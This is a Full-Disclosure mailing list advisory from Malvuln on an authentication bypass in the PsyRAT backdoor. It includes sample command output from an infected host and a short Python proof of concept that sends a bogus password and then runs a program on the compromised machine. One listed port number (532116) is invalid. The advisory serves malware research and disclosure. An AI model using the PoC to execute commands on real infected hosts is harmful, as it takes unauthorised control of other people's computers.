full-disclosure - [FD] Backdoor.Win32.Agent.ju (PSYRAT) / Authentication Bypass RCE

Open Source and information security mailing list archives

Date: Mon, 1 Apr 2024 20:58:49 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Agent.ju (PSYRAT) / Authentication Bypass RCE

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source:
https://malvuln.com/advisory/0e6e40aad3e8d46e3c0c26ccc6ab94b3.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.ju (PSYRAT)
Vulnerability: Authentication Bypass RCE
Family: PSYRAT
Type: PE32
MD5: 0e6e40aad3e8d46e3c0c26ccc6ab94b3
Vuln ID: MVID-2024-0677
Disclosure: 04/01/2024

Description: The PsyRAT 0.01 malware listens on random high TCP ports
53297, 53211, 532116 and so forth. Connecting to an infected host returns a
logon prompt for PASS. However, you can enter anything or nothing at all
and execute commands made available by the backdoor. The malware will
return a BADPWD and or "Invalid command" error string but the command
executes regardless. Custom client is required as it seems to dislike CRLF
\r\n characters when using netcat or telnet.

getdrives
C\ - Fixed Drive^D\ - CD-ROM^

cpuinfo
Windows Version |System Directory C\WINDOWS\system32|Computer Name
DESKTOP-2C4IQJO|Username VICTIM|CPU Speed 2808 MHz|CPU Type
GenuineIntel|------|PsyRAT Version PsyRAT 1.02|IP/Port
192.168.18.130|Password |Install name |Reg value |PHP URL

exe_sho [Program_Name] starts a program

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=55116

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

#send bad password
PAYLOAD="malvuln"
s.send(PAYLOAD.encode())

#call commands
PAYLOAD="exe_sho calc"
s.send(PAYLOAD.encode())

s.close()

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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